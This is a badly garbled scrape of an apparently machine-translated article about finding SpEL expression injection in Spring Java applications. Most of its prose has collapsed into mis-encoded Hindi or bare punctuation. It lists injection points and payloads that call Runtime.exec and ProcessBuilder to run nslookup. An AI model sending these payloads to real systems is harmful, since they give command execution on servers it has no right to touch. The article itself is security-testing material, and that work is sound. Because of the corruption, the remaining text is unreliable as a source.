  • LGTM QL - рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╣рд▓реЗ рд╣реА рджрд┐рдпрд╛ рдЬрд╛ рдЪреБрдХрд╛ рд╣реИред рд╣рдо рдЕрд▓рдЧ рд╕реЗ рдХрд╣рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдПрдХ рдкреЗрдб рдЙрдкрдпреЛрдЧ рдХрд╛ рдорд╛рдорд▓рд╛ рднреА рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдЖрдкрдХреЛ рдЕрдкрдиреЗ рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реНрдерд╛рдиреАрдп рд╕рд░реНрд╡рд░ рдкреНрд░рд╛рдкреНрдд рд╣реЛрдЧрд╛ред
    QL Java, .

Black Box


-, .
, : Spring, SpEL, , SpEL API, -, .


spring, URL, API. /metrics /beans тАФ Spring Boot Actuator , .


, .


, SpEL , , .


  • : var[SpEL]=123
  • : &variable1=123&SpEL=
  • : org.springframework.cookie = ${}
  • ..

:


 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name} 

SpEL


SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .



ZeroNights : тАЬ , Spring, SpEL injection?тАЭ


, CVE, . , , github.


, , SpEL Expression. рдпрд╛рдиреА (, ) , .


рдпрд╛рдиреА . , , тАЬтАЭ .

Source: https://habr.com/ru/post/hi433034/


All Articles